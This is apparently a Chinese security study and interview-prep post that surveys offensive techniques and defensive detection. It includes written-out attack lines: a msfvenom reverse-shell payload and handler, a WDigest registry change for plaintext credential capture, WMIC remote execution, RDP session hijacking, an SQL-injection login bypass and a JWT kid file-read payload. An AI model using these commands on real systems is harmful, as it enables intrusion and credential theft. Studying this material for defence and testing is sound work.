安全知识汇总

张天师大约 28 分钟

梳理网络安全知识点为自己查漏补缺。

信息收集

你是如何做资产信息收集的?

即查找目标所有的暴露面

1)企业组织架构信息收集(域名、APP和小程序、子公司和对外投资、供应商)

2)子域名枚举(自己开发工具-被动收集)

3)IP资产梳理(准确IP全端口、C段常见端口、目标开放服务和Web应用指纹识别)

4)目录扫描(后台、备份文件、敏感页面、未授权接口)

5)敏感信息(文档、Github搜源码、Google hacker)

如何绕过网站CDN获取真实IP?

1)空间搜索引擎(title="xxx"、cert="xxx.comopen in new window"、icon_hash="xxx")

2)解析子域名,或许有没上CDN的

3)让服务器主动发起请求(SSRF漏洞、注册让其发邮件)

如何判断高交互蜜罐?

1)一般蜜罐里面 F12 被禁用(Debug)

2)网络一直发送HTTP请求给Jsonp

只有一个登录框如何渗透测试?

1)SQL注入万能密码 ( admin' or 1=1 --)

2)弱口令爆破

3)目录扫描

4)分析JS代码查找敏感信息、未授权访问API

5)逻辑漏洞(任意用户注册、改返回包绕过前端登录验证)

漏洞利用

Redis未授权访问如何利用,利用条件是什么?

利用条件:

当redis以root账户运行,无密码或者弱密码认证,并且绑定0.0.0.0可非本机访问的情况下;

Linux利用方式

上传SSH公钥登录SSH,原理是在redis中插入一条数据;

在Web目录写Webshell;

Crontab定时任务反弹shell;

利用slave主从复制实现RCE远程命令执行;

Windows利用方式

Web目录写Webshell

redis getshell中什么样的操作比较危险?

主从复制getshell的时候全量复制可能会覆盖原有数据。

IIS有哪些历史漏洞?

1)IIS 6.0 PUT文件上传漏洞

开启WebDAV服务、网站目录允许来宾用户写入 可用IISPutScanner工具上传文件

2)IIS6.0 解析漏洞

基于文件

IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。

基于文件夹

IIS6.0会将/*.asp/文件夹下的文件当成asp解析。

3)IIS7.0/7.5 解析漏洞

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

IIS对应windows系统版本
Windows Server 2003 			#IIS 6.0
Windows Server 2008 SP2,SP3	   #IIS 7.0
Windows Server 2008 R2 			#IIS 7.5
Windows Server 2012 			#IIS 8.0
Windows Server 2012 R2			#IIS 8.5
windows Server 2016				#IIS 10
有哪些解析漏洞?

Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

如 test.php.rar 会被apache解析成php

Nginx <8.03 空字节代码执行漏洞

影响版本:0.5.,0.6,0.7 <= 0.7.65,0.8 <= 0.8.37

在图片中嵌入PHP代码然后通过访问,来执行其中的代码

xxx.jpg%00.php
Java反序列化漏洞

应用把不可信的字节流还原成对象时,触发了类的自动回调方法例如readObject,如果类里存在危险逻辑(反射调用、动态加载)就会触发任意代码执行。

构造一条Gadget Chain(利用链)需要3个要素:入口类(重写readObject且属性可被序列化控制),传递类(如Transformer反射调用),终点类(触发Runtime命令执行或文件读写、JNDI注入)。

实战首选CC6链,它把入口类换成了 JDK 最底层的 HashMap 官方无法修补,一旦修改 Java 所有的序列化哈希表功能都会崩溃。

比如Shiro 550反序列化漏洞是因为 rememberMe 功能把用户身份序列化后AES-CBC加密放进Cookie,服务端解密再反序列化;但是key是硬编码,拿到Key就能伪造任意序列化对象直接RCE。

Log4j2反序列化RCE的终点不直接执行命令,而是InitialContext.lookup(可控URL),利用JNDI注入从LDAP、RMI等服务加载远程恶意类实现命令执行。

FastJson反序列化漏洞是利用 @type 特性在 JSON 中指定任意Java类,在反序列化时自动调用该类的 Setter 或构造方法时,触发危险逻辑(如JNDI注入)从而实现RCE。

代码审计时全局搜readObject调用点看数据来源是否用户可控,同时审计依赖版本(CC、FastJson、Shiro)。

JNDI注入的原理

JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如JDBC、LDAP、RMI、DNS、NIS、CORBA。

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等

JNDI注入通过加载远程class执行恶意代码

攻击者可以通过构造恶意的JNDI URL,将恶意对象注册到JNDI目录服务器中,并在Java应用程序中使用该URL来获取对象,从而导致恶意代码执行。

权限提升

如何提升系统权限?

Windows

1)查看系统补丁,用类似 CVE-2020-0787 这些系统漏洞提权

2)烂土豆提权

  • 让一个SYSTEM权限的进程主动向攻击者发起NTLM认证,中继到本地伪造的RPC服务拿到SYSTEM令牌,再模拟该令牌创建高权限进程

Linux

SUID提权,实战中遇到过运维图方便给 find 加SUID的场景,find -exec 直接root shell

内核漏洞提权(脏牛),2.6到4.8内核的竞态条件写漏洞,改SUID文件或改passwd加用户

Docker逃逸方法?

1)利用特权容器挂载挂载宿主机磁盘,写SSH公钥或定时任务反弹shell

2)Socket 逃逸,容器启动时挂载了 /var/run/docker.sock,容器内可以直接调用 Docker API 创建新的特权容器

3)runc 漏洞逃逸,覆盖宿主机上的 runc 二进制文件,当管理员下次执行 docker exec 等操作时,就会以 root 身份执行恶意代码

MySQL提权的方式有哪些?利用条件?

MOF提权

root账户

03系统

mof目录可写

secure_file_priv为空表示对mysql导入导出不做限制 在my.ini可以配置

UDF提权

Create function 调用udf.dll,以系统权限执行系统命令

SQL Server提权的方式有哪些?
xp_cmdshell
SP_OACreate
Openrowset沙盒
SQL Server代理执行计划任务
CLR公共语言运行时通过.NET程序调用powershell执行系统命令
假设SQL Server为sa权限,如何不通过xp_cmdshell执行系统命令?

1)有.net环境可以使用SQL Server的CLR(Common Language Runtime)功能创建一个CLR存储过程,其中使用C#编写的代码调用PowerShell来执行所需的系统命令。

2)安装了SQL Server Agent,可以创建一个作业(Job),在作业中设置步骤以执行所需的系统命令。使用sp_start_job存储过程来启动该作业,从而执行系统命令。

权限维持

Linux有哪几种后门实现方式?

ssh软链接后门

增加超级用户帐号

SSH公钥登陆

Crontab定时任务

Rootkit工具包

ssh软链接后门的原理是什么,可以通过该原理构造其他后门吗?

/etc/pam.d/su 中的pam_rootok.so使得UID为0的用户可以无需密码直接通过认证。

当通过特定端口连接SSH后,软链接文件为/tmp/su,应用就会寻找到/etc/pam.d/su作为配置文件,从而可以实现无密码登陆。

Windows有哪几种后门实现方式?

映像劫持Shift

添加影子账户

木马加入开机启动项

通道构建

常用哪些方式构建内网通道?

SSH高权限端口转发

FRP反向代理

目标不出网的情况下如何做内网通道,是什么原理?

Neo-reGeorg正向代理

其原理为在本地建立监听,提供socket服务,将数据通过http/https传递到webshell上做中转

服务端通信原理是通过session来接收socket转发收到的内容

横向渗透

你有一个webshell但无法执行系统命令,无法上传,怎么进行内网渗透?

假设这两个问题无法解决。

1)翻阅配置文件查找敏感信息

2)再通过漏洞点上传一个正向代理的webshell,尝试向内网其它脆弱资产横向移动

你横向渗透的常用手法有哪些?
抓hash和明文密码 -> hash传递和内网密码喷洒
翻阅配置文件查找敏感信息
获取历史凭证(history、浏览器、RDP连接凭证、xshell连接凭证)
弱口令
Web应用漏洞
系统漏洞ms17010
目标只开了139端口能否利用永恒之蓝?

需要使用445端口的SMB文件共享服务,以ms17_010为例我试过关闭445是不行的

内网渗透怎么获取服务器账号密码?

1)mimkatz抓hash和明文密码

2)翻阅配置文件,历史记录

3)密码喷洒:同密码重复利用

4)暴力破解弱口令

Mimikatz抓密码原理?
  1. 进程注入:
    • Mimikatz通过利用Windows进程注入技术,将自身的代码注入到lsass.exe进程中
  2. 抓取凭据:
    • 一旦Mimikatz成功地注入到目标进程中,它就可以访问该进程的内存空间,以获取其中保存的凭据信息。lsass.exe进程是Windows操作系统中的身份验证进程,负责处理用户登录的凭据。

如果目标用户在线则能提取到明文密码,或者提取到NTLM哈希值去离线解密。

不用mimikatz怎么抓明文密码?

注册表导出hash,然后彩虹表离线破解。

彩虹表是通过预先计算大量的密码和其对应的哈希值,并将它们存储在一个巨大的数据表中,以便在需要时快速进行哈希值的反查找。

Server 12限制了抓明文密码,怎么绕过?

改注册表开启Wdigest+rundll32强制锁屏+等管理员重新登录即可抓

哪个补丁导致了mimikatz无法利用,如何绕过?

原理是从lsass进程抓取内存

Windows Server 2012 之后的版本默认关闭Wdigest,无法从内存中获取明文密码。

2012之前的版本安装了KB2871997,同样无法获取明文密码

开启和关闭Wdigest的命令

#开启,值为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#关闭,值为0
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
有哪些横向执行命令的方法?
psexec
wmic
net use共享+计划任务+type命令
psexec的底层实现原理是什么?

命名管道连接SMB共享

psexec和wmic的区别?

psexec会记录大量日志,wmic不会记录下日志,更为隐蔽。

横向渗透中,wmic如何构造有回显的命令执行?

WMIC进程调用把命令执行结果重定向到一个文本文件

#WMIC进程调用
WMIC /Node:192.168.1.120 /user:administrator /password:admin123 Process Call Create "cmd /c whoami > C:\Users\Public\Videos\out.txt"

#利用type查看结果
net use \\192.168.159.130\c$
type \\192.168.1.120\c$\Users\Public\Videos\out.txt
桌面有管理员会话,想要做会话劫持怎么做?

首先提权到system权限,能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证

#查询已登陆的用户会话
quser

#劫持用户会话
tscon ID /dest:console
你入侵了一台非域成员主机,如何快速定位到其它域成员主机?

PowerView 枚举域内登陆的用户

Import-Module .\powerview.ps1
Invoke-UserHunter
如何查询域管登录过的机器,查询原理又是什么?

定位域管两种手段:日志和会话。

psloggedon工具查询,原理是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器。

域控开放的常见端口有哪些?
53	#DNS Server
88	#KDC 密钥分发中心
389	#LDAP 轻量目录访问协议
445	#SMB
如何查询域之间的信任关系?
nltest /domain_trusts

研判分析

100台机器如何判断哪台被log4j攻击成功?

1、确认资产属性,哪部分使用了log4j的相关组件,排除无关联资产

2、检索攻击成功的事件日志,查看响应体里的内容是否命令执行了或带有敏感数据

全流量设备没有告警,没有样本,怎么找到攻击样本?

1)流量不全或者设备规则库未覆盖到相关的资产

2)可能攻击本来就是没有文件落地,根本没有样本

3)在其它设备上或者失陷主机上查看应用请求日志

如何判断被搭建了什么隧道

1)ICMP隧道数据包中DATA 往往大于64 比特,部分隧道工具会显示tun的标志

2)SOCKS某些隧道存在一些固定16进制特征,或者通过安全设备告警排查

如何排查JAVA内存马?

1)查看Web日志,filter或者listener类型的内存马,会有页面不存在但是返回200的请求

2)内存马的Filter是动态注册的,所以在web.xml中可能没有配置

3)内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。

流量特征

CobaltStrike

1)checksum8

运行staging模式的pe文件,会向指定服务器的checksum8路径发起请求来下载stage。

stage是包含了很多功能的代码块,用于接受和执行控制端的任务并返回结果。

其中HTTP请求路径符合checksum8规则,路径的ascii之和与256取余计算值等于92或93。

32位后门是92,64位后门是93。

2)JA3/JA3s

ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值(md5),相同版本相同系统下指纹相同,该特征与操作系统、cobaltstrike版本有关,profile文件无法对其修改。

72a589da586844d7f0818ce684948eea
fd4bc6cea4877646ccd62f0792ec0b62
72a589da586844d7f0818ce684948eea
652358a663590cfc624787f06b82d9ae
4d93395b1c1b9ad28122fb4d09f28c5e
a0e9f5d64349fb13191bc781f81f42e1
ae4edc6faf64d08308082ad26be60767
fd4bc6cea4877646ccd62f0792ec0b62
b742b407517bac9536a77a7b0fee28e9
Metasploit

1)默认使用4444端口作为反向连接端口

2)数据包通常包含特定字符串("meterpreter"、"revshell"等)

FRP

1)Frpc 在连接认证 Frps 的时候,会进行三次握手,会把 Frp 的版本信息发给 frps 进行认证

Version、Arch、User、Privilege_key 等字段
NPS

1)nps的认证过程三次握手客户端向服务器发送两次version的值和一次TST字段

蚁剑

每个请求体都存在以 @ini_set("display_errors","0"); @set_time_limit(0)开头。

并且响应体的返回结果是base64编码发混淆字符

哥斯拉

1)payload特征

jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马

2)Cookie

Cookie字段,最后一个Cookie的值出现;(尾值出现分号)

冰蝎

1)冰蝎1.0

有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验

2)冰蝎2.0

使用 AES加密 + base64编码 ,AES使用动态密钥对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。

3)冰蝎3.0

使用 AES加密 + base64编码 ,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。

进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

4)冰蝎4.0

提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。

4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。

与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。

使用长连接,避免了频繁的握手造成的资源开销。

默认情况下,请求头里会带有 Connection:Keep-Alive

有固定的请求头和响应头

请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。

应急响应

一台服务器被植入Webshell怎么办?

1、清除Webshell:扫描网站目录,查找Webshell的位置,并删除

2、Web日志审计:根据Webshell创建时间,分析可疑的Web访问,找到漏洞位置,复现漏洞

3、修复漏洞,检查系统日志查看其它恶意活动,对服务器和Web应用进行安全加固

服务器被植入挖矿病毒如何应对?

1)分析网络流量找到挖矿病毒的进程和对外连接地址

2)根据挖矿病毒进程找到病毒文件样本,上传沙箱分析钱包地址

3)完全清除病毒样本加固服务器

你在排查挖矿病毒时,对应进程没有可执行文件(自删除)怎么办?

进程运行时的信息仍然完整保留在 /proc 中

cp /proc/<PID>/exe /tmp/malware_sample ,通过 /proc + PID就能恢复样本

IPS和IDS的区别?

常见网络安全设备

设备功能部署方式
IDS入侵检测系统(基于流量检测攻击)旁路
IPS入侵防御系统(基于入侵行为库阻断攻击)串联
FireWall防火墙(隔离网络边界控制数据交互)串联
WAFWeb应用防火墙(基于规则阻断针对Web应用的攻击)串联
GAP网闸(信息交换与安全隔离,逻辑隔离)串联
FGAP光闸(单项信息传输,逻辑隔离)串联
堡垒机运维安全审计系统(身份验证、账号管理、授权控制、安全审计)旁路
DBAudit数据库审计(实时记录网络上的数据库活动)流量镜像
AV/EDR终端安全(基于特征和行为等查杀危险程序和进程)终端安装
SOC安全运营中心(协调所有安全技术提高检测、响应和预防能力)
AV和EDR有何区别?

AV(Antivirus)是传统的安全防护技术,它主要依靠已知的病毒特征库来检测和防御病毒。

当一个文件被扫描时,AV软件会将其与病毒特征库中的已知病毒特征进行比较。

如文件与任何一个已知的病毒特征匹配,AV将标记该文件为恶意软件并采取适当的措施来保护系统。

EDR(Endpoint Detection and Response)则是一种新兴的安全防护技术,它不仅能够检测已知的病毒,还可以发现和响应未知的威胁。

EDR软件在主机上运行,收集和分析主机的行为和活动数据,以便发现恶意活动。

EDR技术利用机器学习和人工智能等高级技术来识别异常行为,并使用防御措施来保护系统。

Linux 中让命令在后台运行的方法有哪些?

systemctl 服务启动

nohub ./test.sh & #守护进程
Rootkit的种类有哪些,针对不同种类的Rootkit应该如何防护以及检测?

固件Rootkit

虚拟化Rootkit

内核级Rootkit

库级Rootkit

应用级Rootkit

Rootkit通过加载特殊驱动,修改系统内核隐藏自身及指定文件、进程和网络链接等。

可以使用chkrootkit工具检测,定期检查MD5、更新软件、安装杀软等方式防护

对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统

安全开发&工具

Nmap扫描方式有哪几种?怎么扫描快?
-sT	#TCP全连接扫描
-sS	#TCP SYN半连接扫描 ()
-sU	#UDP
-sA	#ACK
-sF	#FIN

-T4	#设置时序模板越高越快
MSF有哪些模块?
辅 助 模 块 (Auxiliary,扫描器)扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits)进行漏洞利用攻击;
攻击载荷模块 (Payloads)生成攻击载荷(木马);
后渗透攻击模块 (Post)用于内网渗透的各种操作;
编 码 器 模 块 (Encoders)选择编码技术,绕过杀软(或其他免杀方式)

所有模块位置:**/usr/share/metasploit-framework/modules/

MSF如何生成木马建立监听?
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
run

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=8089 -f dll > shell.dll
SQLmap注入怎么用?
sqlmap -r bp.txt
子域名挖掘如何处理泛解析?

泛解析定义

泛域名解析是一种特殊的域名解析方式,它使用通配符*形式,设置域名解析。
它可以将没有明确设置的子域名一律解析到一个IP地址上。
这样,即使用户输入错误的子域名,也可以访问到域名持有者指定的IP地址。
但是信息收集中,这会造成请求的所有子域名都能访问的假象,从而收集到一堆无效的子域名。

Onforall的处理方法

1)随机生成3个子域名做DNS解析
2)如果没有都解析成功证明不是泛解析,都解析成功的话做HTTP请求判断
3)HTTP访问都成功则不是泛解析,反之则计算两两响应页面的相似度
4)有一组相似判断为不是泛解析,都不相似就是泛解析

自己的实现

1)用一个绝对不存在的子域名去解析A记录,如有记录则存在泛解析
2)用不存在的子域名提取CNAME记录,作为泛解析对比标志
3)接下来的流程用Lookupcname解析剩余子域名,与泛解析标志做对比,如果不一样并且不为空则此子域名存在
Go编写的端口扫描器在Linux平台漏报原因?

Golang的net.DialTimeout这个函数最终其实就是调用linux socket

而linux中任何东西都是文件,同时linux默认允许同时打开的文件数是1024

协程数量大于1024就会导致socket链接建立失败,漏报大量端口

将open files数量设置大一点即可

ulimit -n 10000	#临时解决办法,当前终端生效

#永久生效方法
echo "* soft nofile 65533" >> /etc/security/limits.conf
echo "* hard nofile 65533" >> /etc/security/limits.conf
echo session required /lib/security/pam_limits.so >> /etc/pam.d/login
#重启系统
Ajax发送POST请求会发几个数据包?

两个,一个OPTIONS预请求,一个发送数据的请求

JWT Token是什么,有什么安全上的风险?

JWT(JSON Web Token)是一种用于身份验证和授权的开放标准,用于在不同系统之间传输信息。

header.payload.signature
  1. Header(头部): 包含有关JWT的元数据和算法信息。它通常包含两个字段:alg(用于指定用于签名的算法,例如HMAC SHA256或RSA)和typ(类型,通常值为"JWT")。
  2. Payload(负载): 包含要传输的数据。Payload中的数据称为声明(claims),声明是有关实体(通常是用户)和其他数据的声明。声明分为三种类型:注册声明(注册的声明名称,例如"iss"表示签发者),公共声明(预定义的声明名称,但不强制,例如"sub"表示主题),和私有声明(自定义声明名称)。
  3. Signature(签名): 用于验证消息的完整性和身份验证。签名使用Header中指定的算法以及一个密钥,将Header和Payload进行签名。签名是将Header、Payload和密钥结合在一起通过指定算法生成的哈希值。

JWT Token的优点:

  • 简单:由于信息是以JSON格式存储的,因此易于解析和处理。
  • 自包含:所有必要的信息都包含在Token本身中,无需查询数据库。
  • 可扩展:可以添加自定义声明来满足特定需求。

安全上的风险:

  • JWT Token伪造: 如果JWT Token中的Payload部分是可以被用户篡改的,攻击者可能会修改Token中的数据以获取未授权的权限(改用户名和ID获取对应权限,需要知道密钥,密钥一般硬编码在源码里)。
  • Token过期问题: JWT可以设置过期时间(exp)来限制Token的有效期,如果过期时间太长,增加了泄露风险。攻击者可以使用它来冒充用户或访问受保护的资源。
  • JWT None攻击:JWT支持使用空加密算法,可以在header中指定alg为None。这样的话,只要把signature设置为空(即不添加签名字段),提交到服务器,任何token都可以通过服务器的验证。
  • KID参数:kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

SQL注入漏洞

SQL注入的原理,如何防御?

应用程序对用户输入参数校验不严没有使用预编译,导致将SQL语句拼接执行。

主要有5种类型(盲注算一种):

1)联合注入(有回显,用ORDER BY猜列数)

2)报错注入(页面返回数据库报错信息,updatexml函数)

3)布尔盲注(页面true/false两种状态差异)

4)时间盲注(只能靠SLEEP延迟判断)

5)堆叠注入(分号后执行第二条语句,取决于驱动是否支持多语句)

6)二次注入(数据输入先存库,取出拼接时才触发)

可以使用预编译防御,参数只作为纯数据传入不会被当成代码执行;但是覆盖不到ORDER BY这种位置,需要字段名白名单才行

盲注如何高效拖数据(加速)

windows系统可用dnslog加速

布尔盲注可以用二分法猜字符,SQLmap就是这样做的;

时间盲注太慢可以配合Burp Intruder并发跑。

SQL注入如何绕过WAF?

1)内联注释,污染HTTP参数,WAF不能识别但数据库会正常执行

2)多层编码,双层URL编码、Unicode编码、UTF-8宽字节绕过(原理是数据库GBK编码会吃掉反斜杠,让单引号逃逸闭合语句)

3)分块传输,将请求体拆分成小块,WAF无法识别,但是web中间件能正常重组请求体

4)MySQL < 5.0 或被安全狗拦截 information_shema 表时无法列表名,需要用 SELECT 创建虚表获取数据

5)过滤了逗号时,可以用 offset 关键字和 from...for 绕过

XXE漏洞

XXE漏洞案例

某系统的WebService接口可使用 SOAP 型 XML 请求调用该方法本地引入外部实体读取系统文件,配合项目结构读取数据库配置信息 jdbc.properties。

如果过滤了SYSTEM关键字可以使用URL编码或者用别名代替SYSTEM。

SSRF 客户端请求伪造

SSRF的原理,常见场景?

服务端请求伪造是因为服务端根据用户输入的URL去发起网络请求,没有严格过滤,攻击者可以篡改这个URL访问内网资源。

经典利用场景利用Gopher协议打内网未授权redis服务反弹shell。

之前云厂商的的元数据可以获取临时AK/SK凭证,如果云服务器存在SSRF就能访问这个元数据获取AK凭证。

实战中重点测试带URL参数且服务端会去发送请求的功能点。

SSRF 无回显时怎么利用?

1)带外检测,用DNSlog带出数据

2)通过返回时间差异,判断内网端口是否开放

SSRF 绕过技巧

服务端的防御主要是用IP黑名单,禁止访问内网IP

1)用十六进制IP地址绕过

2)利用URL解析器滥用绕过 @ 符号

3)DNS Rebinding(DNS重绑定) 需要自己在DNS服务器上配置个域名,第一次解析通过校验,第二次解析到内网

文件上传漏洞

文件上传漏洞综述

服务端对上传文件校验不严,导致上传可执行脚本获取服务器权限。

除了常规的附件上传、头像上传等地方,重点关注富文本编辑器的上传接口(FCK、UEditor)。

实战中还遇到过注册用户的时候让上传营业执照的,Fuzz API 结构自己构造上传包的情况。

内网老系统可能还有IIS 6.0 PUT方法上传漏洞(需要开启WebDAV服务)。

服务端校验如何绕过?

1)黑名单校验:漏网之鱼(.php5、.cer、.phtml)\ 大小写+后缀复写(.PhpHpp)

2)白名单校验:PHP<5.3.4时%00截断,上传.htaccess文件(让服务器解析图片马)

有哪些目录解析漏洞?

1)IIS 6.0:目录解析、分号截断

2)IIS 7.5:CGI+反斜杠解析图片马

3)Apache: 多后缀从右往左解析

4)Nginx:老版本存在空字节漏洞,也是00截断

文件包含漏洞

文件包含漏洞综述

PHP的include/require在包含图片马时会把文件内容当PHP代码执行。

利用最多的是本地文件包含+PHP封装协议filter读取源码(CTF常见),实战中常用远程文件包含图片马getshell。

常见于多语言切换、页面渲染和文件下载功能。

路径穿越遇到代码加了前缀拼接用绝对路径绕过,加了后缀拼接就尝试%00截断(php <5.3.4)或者借助路径长度截断(windows)

命令执行漏洞

命令执行漏洞综述

常见于网络设备的ping功能中,程序调用危险函数未经严格过滤,导致拼接执行命令。

Linux最常用分号分隔符顺序执行命令,Windows用单&符,让前边的命令出错,执行后边的命令。

空格被过滤可以用${IFS}代替空格或者%0A代替换行符,还有反斜杠转义引号逃逸。

disable_functions禁用了命令执行函数,怎么绕过?

1)动态链接库 LD_PRELOAD + putenv + mail()

Linux系统中 LD_PRELOAD 指定的共享库,优先级最高。

mail() 底层调用系统 sendmail 程序

sendmail 运行时会动态加载共享库

通过 putenv() 设置 LD_PRELOAD 环境变量,让恶意 .so 被优先加载

在恶意 .so 中劫持函数(如 getuid())实现代码执行

2)伪造新环境 PHP-FPM / FastCGI 攻击

构造恶意 FastCGI 请求,设置 PHP_VALUE 环境变量,在新“伪造php.ini”环境中取消 disable_functions;

需要PHP-FPM 端口可达(9000);

蚁剑有这两种方式的插件。

域渗透

域环境的渗透思路

1)Zerologon 将域控账号的密码置空,控制域服务器

2)打印机漏洞 将普通域用户提权到域管理员权限

3)NoPAC 组合漏洞提升域普通用户至域管

Hash传递攻击:NTLM认证过程中,服务端校验的是哈希而非明文。mimikatz是用SYSTEM权限从LSASS进程内存空间获取用户凭证。

黄金票据伪造TGT,需要DC权限因为要用到krbtgt账户的NTLM哈希,可以访问域内任意服务

白银票据是伪造服务票据 ST,只需要目标服务账户的NTLM哈希,权限范围仅限该服务